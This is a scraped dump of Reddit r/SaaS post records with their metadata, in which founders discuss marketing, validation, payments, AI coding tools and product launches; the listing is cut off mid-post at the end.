SaaS?,[removed],ExerciseEven4581,1,0,1781880442,/r/SaaS/comments/1ua3z9s/what_surprised_you_the_most_when_building_your/,https://www.reddit.com/r/SaaS/comments/1ua3z9s/what_surprised_you_the_most_when_building_your/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua3w68,SaaS,API Testing,[removed],Quality_Kickstart,1,0,1781880240,/r/SaaS/comments/1ua3w68/api_testing/,https://www.reddit.com/r/SaaS/comments/1ua3w68/api_testing/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua3vel,SaaS,I’m currently trying to build a full AI SaaS,[removed],moamr818,1,0,1781880191,/r/SaaS/comments/1ua3vel/im_currently_trying_to_build_a_full_ai_saas/,https://www.reddit.com/r/SaaS/comments/1ua3vel/im_currently_trying_to_build_a_full_ai_saas/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua3sc3,SaaS,Software Hyper-personalized for the PyMEs,[removed],FRAN1111G,1,0,1781879981,/r/SaaS/comments/1ua3sc3/software_hyperpersonalized_for_the_pymes/,https://www.reddit.com/r/SaaS/comments/1ua3sc3/software_hyperpersonalized_for_the_pymes/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua3lgj,SaaS,How did you get your first users for a B2C SaaS?,[removed],[deleted],1,0,1781879525,/r/SaaS/comments/1ua3lgj/how_did_you_get_your_first_users_for_a_b2c_saas/,,,True,1,False,,arctic-shift,1781885554 1ua3in8,SaaS,Launching My Very First Startup But Don't Have Investment To Promote It!!!!,"Heyyy Everyone !!! ​ ​ These days about 2 months I'm building a platform for freelancers where they get 100% verified job opportunities, secured vault where we ensures freelancers gets their payment, and working on other things also. ​ But before doing that my mind always hits when I think about launching it into public because I'm building the platform with almost zero investment. And for launching it, I need investment for promoting it that I don't have. ​ And I don't know much about marketing and how to advertise my startup with efficient or almost zero investment. And you know in this Era, if I spent my investments in the wrong direction or didn't understood how marketing works. So, i literally investing my money in water and that's created no sense. ​ So I just want to know how can I launch my platform in vast public without spending much or almost no amount on it!!!!! ​ If you know something about it drop it down. I will be happy that you supporting me in this journey !!!!!",elite_apurvv,1,0,1781879348,/r/SaaS/comments/1ua3in8/launching_my_very_first_startup_but_dont_have/,https://www.reddit.com/r/SaaS/comments/1ua3in8/launching_my_very_first_startup_but_dont_have/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua3esw,SaaS,What LLC you use with Stripe for your SaaS?,Hi guys! What LLC you use for your SaaS? I live in Belgium and I'm not sure if its the best approach to add my personal bank account for Stripe. Does anyone use Delaware / Wyoming as a non-resident? Does exist something similar in Europe? ,CristianMarinescu,1,0,1781879088,/r/SaaS/comments/1ua3esw/what_llc_you_use_with_stripe_for_your_saas/,https://www.reddit.com/r/SaaS/comments/1ua3esw/what_llc_you_use_with_stripe_for_your_saas/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua3e8l,SaaS,"After months of developing a cloud solution, I scrapped it completely and went fully local-first on privacy.","So a few months ago I threw out a cloud product that was working great and rebuilt it as a local-first windows app completely due to privacy concerns. I'm still 2nd guessing myself a bit, so interested to see how you feel. So ya ... I had this cloud AI assistant that was working great. The idea was to let it watch your emails, meetings, calendar, documents, and screen so you never forget anything. But then I realized ... if some other company asked me to upload my entire digital life to their servers, like I was expecting my customers to do, I'd say no without thinking. Lol. I was building the exact product I personally would NEVER use. So I pivoted. Deleted a ridiculous amount of working code and rebuilt it as a local-first desktop app. I decided to offer a cloud model as default for speed and intelligence (zero-data-retention, only the minimal context for the current question ever leaves), and a toggle switch that allows user to flip to a fully on-device LLM. For those of you who've shipped desktop apps, does the ""your data stays on your machine"" idea actually attract users? Or do they just see a download and nope out? Anyway, looking forward to any feedback.",Money_Ad9302,1,0,1781879051,/r/SaaS/comments/1ua3e8l/after_months_of_developing_a_cloud_solution_i/,https://www.reddit.com/r/SaaS/comments/1ua3e8l/after_months_of_developing_a_cloud_solution_i/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua38tn,SaaS,SimCity Effect for SMB: can an animated demo break the inertia of conservative niches?,[removed],FRAN1111G,1,1,1781878686,/r/SaaS/comments/1ua38tn/simcity_effect_for_smb_can_an_animated_demo_break/,https://www.reddit.com/r/SaaS/comments/1ua38tn/simcity_effect_for_smb_can_an_animated_demo_break/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua37j0,SaaS,the biggest landing page mistake i see early saas products make,[removed],YashCreates,1,0,1781878602,/r/SaaS/comments/1ua37j0/the_biggest_landing_page_mistake_i_see_early_saas/,https://www.reddit.com/r/SaaS/comments/1ua37j0/the_biggest_landing_page_mistake_i_see_early_saas/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua373n,SaaS,Codex/Claude made us fast for like 6 weeks and now I'm doing archaeology in my own codebase,"We were shipping so fast in the beginning I genuinely thought we had cracked something. Features in hours that used to take days. That's done now. The problem isn't bad code per session. It's that there's no continuity between sessions. Tuesday's Claude respected the domain model. Thursday's Claude decided persistence should work completely differently and just... went with it. Didn't ask. Now I have two systems running in parallel and neither of them is the one I designed. The ""just prompt better"" crowd hasn't hit this yet. Prompting fixes output quality within a session. It doesn't fix the model reinventing your architecture from incomplete context every single time you start fresh. My last three days were mostly reading code I didn't write to understand decisions I didn't make so I could undo them. Anyone past the MVP stage actually keeping things coherent? Not asking for theory, I mean what's literally working for you day to day. ",TieInternational6108,1,0,1781878573,/r/SaaS/comments/1ua373n/codexclaude_made_us_fast_for_like_6_weeks_and_now/,https://www.reddit.com/r/SaaS/comments/1ua373n/codexclaude_made_us_fast_for_like_6_weeks_and_now/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua36lt,SaaS,Seeding a public inventory page,"I just launched my SaaS. It’s basically PC Part Picker but for off-road/overlanding vehicles. You plan or catalog all the aftermarket parts on your vehicle and add photos. A big component of it is a page of all the public builds. But it’s currently empty. Curious how others have dealt with this. Did you try to convince some early adopters to post? Do I seed the page with samples?",beef-runner,1,0,1781878542,/r/SaaS/comments/1ua36lt/seeding_a_public_inventory_page/,https://rigpicker.app,rigpicker.app,False,1,False,,arctic-shift,1781885554 1ua35gl,SaaS,I built a free link building platform. Early adopters get it free. forever. no catch. (850+ websites already),[removed],Unlikely-Scholar5575,1,1,1781878466,/r/SaaS/comments/1ua35gl/i_built_a_free_link_building_platform_early/,https://www.reddit.com/r/SaaS/comments/1ua35gl/i_built_a_free_link_building_platform_early/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua30jz,SaaS,SimCity Effect for SMBs: can an animated demo break the inertia of conservative niches?,[removed],FRAN1111G,1,1,1781878135,/r/SaaS/comments/1ua30jz/simcity_effect_for_smbs_can_an_animated_demo/,https://www.reddit.com/r/SaaS/comments/1ua30jz/simcity_effect_for_smbs_can_an_animated_demo/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua2yqj,SaaS,"What AI model is actually best for vibecoding rn? (sonnet 4.6, opus 4.7, gpt-5, gemini)","​ I have been switching tools every few weeks trying to figure out which model combo gives the cleanest output building mostly small saas + a couple of consumer apps. ​ What ive noticed so far, claude sonnet 4.6 in cursor: best for editing existing code, picks up context fast. ​ opus 4.7 is best for hard architectural decisions, slower for routine edits, and works best on emergent or lovable. GPT-5 is like ok ok generalist model, cant comment more. ​ honest q: which model + tool combo is actually the cheapest per shipped feature,not per token, for u?",Exotic-Barnacle-2403,1,0,1781878013,/r/SaaS/comments/1ua2yqj/what_ai_model_is_actually_best_for_vibecoding_rn/,https://www.reddit.com/r/SaaS/comments/1ua2yqj/what_ai_model_is_actually_best_for_vibecoding_rn/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua2yad,SaaS,honestly why is it so hard to look at your own landing page objectively?,[removed],YashCreates,1,0,1781877980,/r/SaaS/comments/1ua2yad/honestly_why_is_it_so_hard_to_look_at_your_own/,https://www.reddit.com/r/SaaS/comments/1ua2yad/honestly_why_is_it_so_hard_to_look_at_your_own/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua2xsv,SaaS,First enterprise customer signed. The thing that closed it wasn't our product.,"Just closed our first enterprise customer. Still can't believe it. We're a tiny team. We compete with Leadfeeder, RB2B, and Lead Forensics, companies with sales teams bigger than our whole company. Everyone said small players don't win enterprise. We just did. Quick context: our tool puts a pixel on your site and turns anonymous traffic into real companies you can chase. That's the whole pitch. Here's how we got in, no fluff. We didn't oversell. Every competitor inflates their match rate. We told the buyer the truth. Some traffic just won't resolve, here's the real number, here's why. They said we were the only vendor who didn't lie to them. That's why they signed. We made the pilot tiny. No big leap of faith. Small, reversible, one clear outcome. Land it, earn the contract. We outran the big guys. They're used to slow ticket support. We answered same day, jumped on calls ourselves, fixed problems live. Us being reachable was the selling point. We sold to a switcher. They already hated their current vendor's contract. We didn't sell the category, we were just the better way out. Still tiny. Still outgunned. But the wedge works, and that's everything. [here's the site](https://clickmodus.com) if you want a look. ",Own-Kaleidoscope1509,1,0,1781877946,/r/SaaS/comments/1ua2xsv/first_enterprise_customer_signed_the_thing_that/,https://www.reddit.com/r/SaaS/comments/1ua2xsv/first_enterprise_customer_signed_the_thing_that/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua2wpy,SaaS,Where Do You Draw the Line Between AI Automation and Content Quality?,[removed],Late-Educator-3792,1,1,1781877867,/r/SaaS/comments/1ua2wpy/where_do_you_draw_the_line_between_ai_automation/,https://www.reddit.com/r/SaaS/comments/1ua2wpy/where_do_you_draw_the_line_between_ai_automation/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua2r9a,SaaS,FINALLY BUILT IT !!!,[removed],CampLow3991,1,0,1781877520,/r/SaaS/comments/1ua2r9a/finally_built_it/,https://www.reddit.com/r/SaaS/comments/1ua2r9a/finally_built_it/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua2mfh,SaaS,The personality mismatch that kills most SaaS sales cycles — and how to fix it in the first call,[removed],EQIQs,1,1,1781877178,/r/SaaS/comments/1ua2mfh/the_personality_mismatch_that_kills_most_saas/,https://www.reddit.com/r/SaaS/comments/1ua2mfh/the_personality_mismatch_that_kills_most_saas/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua2iv5,SaaS,Trading / investment,"Hi guys , Trying to figure out if it’s good have an Ai agent to analyze your investments /portfolio and trades with live news/ data provided ? Is it an idea worth solving ? ",InterneuronLab,1,0,1781876931,/r/SaaS/comments/1ua2iv5/trading_investment/,https://www.reddit.com/r/SaaS/comments/1ua2iv5/trading_investment/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua2h78,SaaS,Do teams actually care about seeing what users or teammates couldn’t find in their knowledge base?,"I’m building a tool for teams that already have docs, help pages, PDFs, internal notes, or community answers spread across different places. The idea is not just “add an AI chatbot”. It indexes those sources, answers questions with citations, and shows which questions could not be answered clearly so the team can see where their knowledge base is weak. I’m trying to understand the real pain before pushing it further: Do teams actually want to know what users or teammates failed to find? Would cited AI answers reduce support or repeated internal questions? Is separating public and internal knowledge important in practice? Or does this still feel like another AI wrapper nobody really needs? Not sharing a link because I’m mainly looking for honest feedback.",Fair_Royal_6816,1,0,1781876818,/r/SaaS/comments/1ua2h78/do_teams_actually_care_about_seeing_what_users_or/,https://www.reddit.com/r/SaaS/comments/1ua2h78/do_teams_actually_care_about_seeing_what_users_or/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua2gt5,SaaS,Would you buy a 10.8K MRR app with 151K users if the seller hid the profit margins and asking price? Let's discuss due diligence.,"Hey everyone, 👋 I've been looking closely at mobile app listings lately, and I came across a party game app asset that is currently generating $10,809 MRR with over 151K active users and 2.5K paying subscribers. On paper, the user engagement and traction look amazing. However, looking deeper into the listing, the seller didn't disclose any profit margins, traffic sources, or even a starting asking price. I’ve been mapping out a data layout to quickly assess these kinds of deals (separating the raw pros like user base size from the heavy cons like valuation uncertainty), and it made me realize how easy it is to get blinded by a high top-line revenue. For the experienced buyers or builders here: How do you approach a seller who drops massive revenue numbers but hides the core financial metrics? Do you consider it an immediate red flag, or is it just standard negotiation tactics in the micro-space? Curious to hear your thoughts on how you filter these! 🛠️",Sidrit_23,1,0,1781876792,/r/SaaS/comments/1ua2gt5/would_you_buy_a_108k_mrr_app_with_151k_users_if/,https://i.redd.it/rear83nju88h1.jpeg,i.redd.it,False,1,False,,arctic-shift,1781885554 1ua2gqg,SaaS,We've launched our Beta,[removed],Square_Attitude8724,1,0,1781876788,/r/SaaS/comments/1ua2gqg/weve_launched_our_beta/,https://www.reddit.com/r/SaaS/comments/1ua2gqg/weve_launched_our_beta/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua2bi5,SaaS,Hello guys,[removed],fibonacciAI,1,1,1781876422,/r/SaaS/comments/1ua2bi5/hello_guys/,https://i.redd.it/g0erpntft88h1.jpeg,i.redd.it,False,1,False,,arctic-shift,1781885554 1ua2800,SaaS,"After months of developing a cloud solution, I scrapped it completely and went fully local-first on privacy.",[removed],Money_Ad9302,1,1,1781876171,/r/SaaS/comments/1ua2800/after_months_of_developing_a_cloud_solution_i/,https://www.reddit.com/r/SaaS/comments/1ua2800/after_months_of_developing_a_cloud_solution_i/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua27s5,SaaS,"How do you tell if a post brought real buying intent, not just engagement?",[removed],Busy_Round4069,1,1,1781876157,/r/SaaS/comments/1ua27s5/how_do_you_tell_if_a_post_brought_real_buying/,https://www.reddit.com/r/SaaS/comments/1ua27s5/how_do_you_tell_if_a_post_brought_real_buying/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua2647,SaaS,I thought I had a traffic problem. I didn’t.,[removed],ActuaryExpert6215,1,1,1781876038,/r/SaaS/comments/1ua2647/i_thought_i_had_a_traffic_problem_i_didnt/,https://www.reddit.com/r/SaaS/comments/1ua2647/i_thought_i_had_a_traffic_problem_i_didnt/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua23pe,SaaS,AI VidioZ Review: Is This The Best AI Video Creator?,[removed],RevolutionaryTaro394,1,0,1781875866,/r/SaaS/comments/1ua23pe/ai_vidioz_review_is_this_the_best_ai_video_creator/,https://igniva-review.com/ai-vidioz-review/,igniva-review.com,False,1,False,,arctic-shift,1781885554 1ua208s,SaaS,I need some advice on how to market my app,"I shipped a meal voting app for families. So far I've tried Meta ads, Apple search ads, and short form content got some traction but nothing that scales yet.",Outrageous-Fix5042,1,0,1781875625,/r/SaaS/comments/1ua208s/i_need_some_advice_on_how_to_market_my_app/,https://i.redd.it/wvn23xn2r88h1.jpeg,i.redd.it,False,1,False,,arctic-shift,1781885554 1ua1t63,SaaS,How do I market my app?,"I shipped an AI meal-voting app for families. So far I've tried Meta Ads, Apple Search Ads, and short form content got some traction but nothing that scales yet. How would you market it and get it in front of more people? Any advice appreciated.",Outrageous-Fix5042,1,0,1781875127,/r/SaaS/comments/1ua1t63/how_do_i_market_my_app/,https://i.redd.it/cz1onvclp88h1.jpeg,i.redd.it,False,1,False,,arctic-shift,1781885554 1ua1pzv,SaaS,"I’ve been looking into the 'Math of a Missed Call' and the numbers are brutal for SMBs. Most of us realize we miss calls, but we underestimate the 'Silence Tax'—the revenue lost because customers simply won't leave a voicemail anymore.",,talkee007,1,1,1781874908,/r/SaaS/comments/1ua1pzv/ive_been_looking_into_the_math_of_a_missed_call/,https://gitmvgcnvpcdlvvyncfx.supabase.co/storage/v1/object/public/media-uploads/autopilot/5321fbdf-a7a5-4d6d-884c-ab0087a12d40/reddit-8901b3-c34ad098.jpg,gitmvgcnvpcdlvvyncfx.supabase.co,False,1,False,,arctic-shift,1781885554 1ua1gvr,SaaS,"Added an AI agent to our top-of-funnel, the conversational part was easy, has anybody figured the context part?",[removed],Impressive_Bus5861,1,0,1781874240,/r/SaaS/comments/1ua1gvr/added_an_ai_agent_to_our_topoffunnel_the/,https://www.reddit.com/r/SaaS/comments/1ua1gvr/added_an_ai_agent_to_our_topoffunnel_the/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua1g1t,SaaS,I think I cracked structure of how anyone can go from 0$ to 1000$ MRR,"1. Validate with TINY thing (video, landing page, basic version) 2. See if people show up/pay 3. IF YES → build the final form 4. IF NO → pick different idea 5. THEN distribute/scale Do you guys agree?",Any_Table3459,1,0,1781874184,/r/SaaS/comments/1ua1g1t/i_think_i_cracked_structure_of_how_anyone_can_go/,https://www.reddit.com/r/SaaS/comments/1ua1g1t/i_think_i_cracked_structure_of_how_anyone_can_go/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua1dum,SaaS,"An insider's view on why the 'Database' model for customer service is dying. We’ve been looking at the data at Talkee.io, and the 'Museum of Lost Leads' (aka your voicemail) is where SMB revenue goes to die.",,talkee007,1,0,1781874037,/r/SaaS/comments/1ua1dum/an_insiders_view_on_why_the_database_model_for/,https://gitmvgcnvpcdlvvyncfx.supabase.co/storage/v1/object/public/media-uploads/autopilot/5321fbdf-a7a5-4d6d-884c-ab0087a12d40/reddit-60fdc5-e430e245.jpg,gitmvgcnvpcdlvvyncfx.supabase.co,False,1,False,,arctic-shift,1781885554 1ua1d7m,SaaS,Acho que muitos SaaS falham porque os fundadores não sabem fazer marketing,[removed],ShopMaleficent7024,1,0,1781874001,/r/SaaS/comments/1ua1d7m/acho_que_muitos_saas_falham_porque_os_fundadores/,https://www.reddit.com/r/SaaS/comments/1ua1d7m/acho_que_muitos_saas_falham_porque_os_fundadores/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua1b9f,SaaS,"When a key SaaS metric drops, what does your investigation process actually look like?",>,Advait_Vikash,1,0,1781873852,/r/SaaS/comments/1ua1b9f/when_a_key_saas_metric_drops_what_does_your/,https://www.reddit.com/r/SaaS/comments/1ua1b9f/when_a_key_saas_metric_drops_what_does_your/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua1ag2,SaaS,"Title: Validating a B2B SaaS idea before overbuilding: proof tracking for bags, valet, cloakrooms and handovers",[removed],[deleted],1,0,1781873794,/r/SaaS/comments/1ua1ag2/title_validating_a_b2b_saas_idea_before/,,,True,1,False,,arctic-shift,1781885554 1ua13ge,SaaS,is there a way to skip the 30% Apple/Google Commission?,"im building an app. i am using Dodo Payments. the user is routed to the web for the checkout instead of in-app purchase. i am about to submit my app for review. is it allowed to skip the 30% Apple/Google Commission? my users are going to be from all over the world and not just US",Destro4589,1,0,1781873268,/r/SaaS/comments/1ua13ge/is_there_a_way_to_skip_the_30_applegoogle/,https://www.reddit.com/r/SaaS/comments/1ua13ge/is_there_a_way_to_skip_the_30_applegoogle/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua12bf,SaaS,"I asked ChatGPT, Perplexity and Google for landing page audit tools. The answers made me rethink SaaS distribution.","I’ve been building a SaaS landing page audit tool, so I started testing something uncomfortable: if someone asks ChatGPT, Perplexity, Gemini or Google AI for “best landing page audit tools for SaaS conversion,” would my product show up? Short answer: **mostly no.** What surprised me wasn’t just that I didn’t show up. It was **how messy the category looked.** Different AI engines recommended totally different tools. Some were tiny. Some had worse UX than I expected. Some felt barely related. A few answers were clearly pulling from thin pages, comparison posts, Chrome listings, or random SEO pages rather than “best product actually wins.” That made me realize something I think a lot of SaaS founders are underestimating: AI search is not just ranking the best tool. It is ranking whatever gives it the clearest answer to a specific question. For example, a page that clearly says “this is an AI landing page audit tool for SaaS founders, it checks copy, CTA, trust signals, and conversion friction” may be easier for ChatGPT to cite than a better product with vague positioning. Same with comparison pages like “X alternatives,” “best tools for Y,” and use-case pages that answer exactly what someone would ask. This feels different from classic SEO. Backlinks still matter, but the thing I keep seeing is that AI engines seem to reward pages that make the category, use case, audience, and differentiation painfully explicit. So now I’m thinking about distribution differently. Instead of only improving the product, I’m trying to make the product easier to understand, compare, and cite. Clear category pages. Specific use-case pages. Better comparison pages. Maybe even public examples/reference pages that explain what good SaaS landing pages do differently. Curious if anyone here has seen this in their own SaaS. Are you getting traffic or signups from ChatGPT / Perplexity / Google AI? And if yes, was it from your homepage, blog posts, comparison pages, directories, Reddit threads, or something else? Founder disclosure: I’m building in the landing page audit / CRO space, so this is something I’m actively trying to figure out, not a victory lap.",YusukeLandingBoost,1,0,1781873178,/r/SaaS/comments/1ua12bf/i_asked_chatgpt_perplexity_and_google_for_landing/,https://www.reddit.com/r/SaaS/comments/1ua12bf/i_asked_chatgpt_perplexity_and_google_for_landing/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua0yf4,SaaS,Dont Actually Believe every Screenshot you see,"Been following r/SaaS and seen a lot of people say “the THING i built just paid me” yes it sounds encouraging Because it is (i mean i am also building my saas and these posts are what has kept me going) but it hurts that i keep seeing same screenshots posted by different profiles. Different captions but it always start same way “the THING i built just paid me” Be careful whom you choose to mentor you. I still believe the THING am building will pay me. The whole point of this post is be vulnerable enough to believe the caption but careful enough not to dm unnecessarily to ask how. You will be finessed and it will hurt you. You might learn from it or not. ",Key_Cantaloupe_4198,1,0,1781872870,/r/SaaS/comments/1ua0yf4/dont_actually_believe_every_screenshot_you_see/,https://www.reddit.com/r/SaaS/comments/1ua0yf4/dont_actually_believe_every_screenshot_you_see/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua0tlo,SaaS,"I analyzed dozens of customer interviews, sales calls, and discovery meetings and noticed something",[removed],Mundane-Two-228,1,0,1781872487,/r/SaaS/comments/1ua0tlo/i_analyzed_dozens_of_customer_interviews_sales/,https://i.redd.it/tz42hvudh88h1.png,i.redd.it,False,1,False,,arctic-shift,1781885554 1ua0qmt,SaaS,"Built the product, now staring at an empty stripe dashboard. How did you actually figure out distribution?","Hey guys, Standard dev story here. Spent the last few months head-down building out a web app. The tech stack is solid, everything works perfectly in production, and it's officially live. But now that the building part is over, I’m hitting a massive wall. I have absolutely zero experience with marketing or driving traffic. I’ve read a ton of generic advice about SEO, cold outreach, and launching on Product Hunt, but honestly, it all feels a bit overwhelming when you’re starting from a absolute zero baseline with no audience. For those of you who have actually scaled past the ""zero users"" mark: How did you actually get your first 10-20 users? Did you just manually DM people on LinkedIn/X? Did cold emailing work, or is it a waste of time early on? I'm not looking for generic growth-hack tips, just want to know what ground-level, boring stuff you actually did in the first few weeks to get your first eyes on the product. Appreciate any insights from anyone who has been stuck in this phase before. ​",Equivalent-Pianist-4,1,0,1781872258,/r/SaaS/comments/1ua0qmt/built_the_product_now_staring_at_an_empty_stripe/,https://www.reddit.com/r/SaaS/comments/1ua0qmt/built_the_product_now_staring_at_an_empty_stripe/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua0pxb,SaaS,There’s always someone who is already exactly where you want to be. (What's your trade?),[removed],hey-siyat,1,1,1781872206,/r/SaaS/comments/1ua0pxb/theres_always_someone_who_is_already_exactly/,https://www.reddit.com/r/SaaS/comments/1ua0pxb/theres_always_someone_who_is_already_exactly/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua0idu,SaaS,How do you approach market research and validation before building an MVP?,"Hey everyone, I’m curious about how you all tackle the app development process from scratch. Specifically, how do you handle market research before diving into the actual build? A few things I’d love to get your insights on: **Validation:** How big of a sample size do you usually need to survey or interview to feel confident that an app idea will actually succeed? **Workflow:** Once you validate the idea, how do you proceed? Do you sketch out basic wireframes first, or do you have a different approach? **MVP & Vibe Coding:** How are you building your initial MVPs? Is anyone here relying heavily on ""vibe coding"" (using AI tools like Cursor, Windsurf, or Lovable) to spin up their MVP faster without getting bogged down in manual coding? I would really appreciate any step-by-step processes, workflows, or tips you use when developing a new app. Thanks in advance for your answers!",MurkyObligation5847,1,0,1781871598,/r/SaaS/comments/1ua0idu/how_do_you_approach_market_research_and/,https://www.reddit.com/r/SaaS/comments/1ua0idu/how_do_you_approach_market_research_and/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua0cnq,SaaS,"My SaaS just made its first $33. I paid myself $13, and a friend threw in $20 for morale. Honestly? It works.","Hey everyone, I wanted to share a small but incredibly motivating milestone today. After months of development, I officially processed a **$13 payout** from my platform into my bank account. To add to the momentum, a close friend bought a **$20 tier** purely as a motivational gesture to keep me moving forward. Total revenue: **$33.** It sounds tiny, but after months of staring at server logs, reading Apple developer docs, and debugging, seeing actual money move to the real world completely changes your mindset. It’s a tangible reminder that the project is out of the ""local dev"" vacuum. The app is [**https://testara.dev/**](https://testara.dev/) **The Problem:** If you’ve ever shipped an iOS app, you know the nightmare of the App Store Review process. Your app can work flawlessly, but then you get hit with a vague rejection because of a missing Privacy Manifest, an unclear subscription terms string, or a missing permission string in your `Info.plist`. Every rejection delays your launch and kills team morale. **What I built:** Testara runs a pre-audit before Apple even sees your build. * You upload a zipped simulator `.app` build or link your GitHub repo. * It scans the binary for SDK indicators, required reason APIs, and permission strings, mapping them against Apple guidelines. * It spits out a readiness score and ready-to-copy AI fix prompts to patch issues instantly. Regarding data handling, it’s secure by design: it extracts the signals on a temporary simulator instance, generates your report, and immediately deletes the original file. No long-term build storage. Shipping as a solo creator can be an isolating grind, and celebrating these small, early milestones is exactly what keeps you driven. If you're an iOS dev or lead a mobile team, I'd love your feedback. You can run a full audit for free every two weeks at [https://testara.dev/](https://testara.dev/) I’ll be in the comments if anyone wants to chat about handling privacy manifests, binary analysis, or how I plan to spend my $13!",mheryerznka,1,0,1781871155,/r/SaaS/comments/1ua0cnq/my_saas_just_made_its_first_33_i_paid_myself_13/,https://i.redd.it/36jyp9amd88h1.png,i.redd.it,False,1,False,,arctic-shift,1781885554 1ua0b5k,SaaS,Founders: Can insights be a startup's best marketing asset?,[removed],Royal-Village6760,1,1,1781871041,/r/SaaS/comments/1ua0b5k/founders_can_insights_be_a_startups_best/,https://www.reddit.com/r/SaaS/comments/1ua0b5k/founders_can_insights_be_a_startups_best/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua03nj,SaaS,Founder looking for suggestions on how to do well in AppStore?,[removed],memoryaisle,1,0,1781870456,/r/SaaS/comments/1ua03nj/founder_looking_for_suggestions_on_how_to_do_well/,https://www.reddit.com/r/SaaS/comments/1ua03nj/founder_looking_for_suggestions_on_how_to_do_well/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua00j6,SaaS,"How do you know when a new feature works? Pay attention to the ""pull""","Yesterday we shipped a new feature called [Image to Prompt](https://www.pretty-prompt.com/image-to-prompt). Basically takes an image as reference, and reverse-engineers it into a prompt for image models. I thought it was just a little ""toy"" feature. I was wrong 😅. Turns out people actually like this and want to use it for work. I keep getting surprised at how little we all know about what people want, until you ship it into their hands. Have you ever shipped something you thought it was a hit, or it was irrelevant and was surprised by how people received it? ",Jolly-Row6518,1,0,1781870218,/r/SaaS/comments/1ua00j6/how_do_you_know_when_a_new_feature_works_pay/,https://v.redd.it/xyrw1pnua88h1,v.redd.it,False,1,False,,arctic-shift,1781885554 1u9zyt1,SaaS,Building an AI career platform and struggling with distribution.,[removed],ExerciseEven4581,1,0,1781870074,/r/SaaS/comments/1u9zyt1/building_an_ai_career_platform_and_struggling/,https://www.reddit.com/r/SaaS/comments/1u9zyt1/building_an_ai_career_platform_and_struggling/,self.SaaS,True,1,False,,arctic-shift,1781885554 1u9zric,SaaS,Saas: Smtp connection issue,"I have created an application health check tool and used microsoft smtp (smtp.office365.com) to send alert. But sometime its failing to send email giving issue related to internal IP. ​ Anyone aware how we can fix it?",Happy-Secretary5604,1,0,1781869479,/r/SaaS/comments/1u9zric/saas_smtp_connection_issue/,https://www.reddit.com/r/SaaS/comments/1u9zric/saas_smtp_connection_issue/,self.SaaS,True,1,False,,arctic-shift,1781885554 1u9zr6v,SaaS,What was your first repeatable customer acquisition channel?,"I’ve recently been spending more time on distribution than development, and it’s made me realize how different those skill sets are. Building is fairly straightforward: * Build * Test * Ship Getting users is much less obvious. For founders here: What was the first acquisition channel that consistently brought in users? Not your biggest channel today. The first one that actually worked. Reddit? SEO? Twitter/X? Cold outreach? Partnerships? Something else?",maskedsyntax,1,0,1781869451,/r/SaaS/comments/1u9zr6v/what_was_your_first_repeatable_customer/,https://www.reddit.com/r/SaaS/comments/1u9zr6v/what_was_your_first_repeatable_customer/,self.SaaS,True,1,False,,arctic-shift,1781885554 1u9znpa,SaaS,How did you get your first users for a B2C SaaS?,[removed],ExerciseEven4581,1,0,1781869157,/r/SaaS/comments/1u9znpa/how_did_you_get_your_first_users_for_a_b2c_saas/,https://www.reddit.com/r/SaaS/comments/1u9znpa/how_did_you_get_your_first_users_for_a_b2c_saas/,self.SaaS,True,1,False,,arctic-shift,1781885554 1u9zhbh,SaaS,I'm really tired of justifying manual directory submissions,[removed],coorrie5,1,0,1781868620,/r/SaaS/comments/1u9zhbh/im_really_tired_of_justifying_manual_directory/,https://www.reddit.com/r/SaaS/comments/1u9zhbh/im_really_tired_of_justifying_manual_directory/,self.SaaS,True,1,False,,arctic-shift,1781885554 1u9zf9u,SaaS,"Stock options for international employees, what's actually working for you?",[removed],[deleted],1,0,1781868430,/r/SaaS/comments/1u9zf9u/stock_options_for_international_employees_whats/,,,True,1,False,,arctic-shift,1781885554 1u9zdju,SaaS,Would you trust an AI to run your entire marketing?,"genuinely curious: if there was an ai that could autonomously handle most of your marketing (finding viral content, doing market research, creating ugc ads, posting on tiktok daily, testing angles, etc.), would you actually trust it to run by itself? or would you still want to approve everything manually? what's the biggest thing stopping you from handing marketing over to an ai?",Imthatguyimhimfr,1,0,1781868278,/r/SaaS/comments/1u9zdju/would_you_trust_an_ai_to_run_your_entire_marketing/,https://www.reddit.com/r/SaaS/comments/1u9zdju/would_you_trust_an_ai_to_run_your_entire_marketing/,self.SaaS,True,1,False,,arctic-shift,1781885554 1u9zci8,SaaS,my co-founder and I are at a stalemate over colours vs density on our B2B dashboard,"TLDR**;** built a research/monitoring tool for wealth managers and IFAs. co-founder wants everything visible the second you login, i want it categorised and I want a change of colour from yellow to blue because right now when u switch to light theme the text disappears into the background. ok full story. we got some B2B interest in our platform and built a demo for B2B research for wealth managers and IFAs to basically replace the manual digging advisors do across five different tools. the 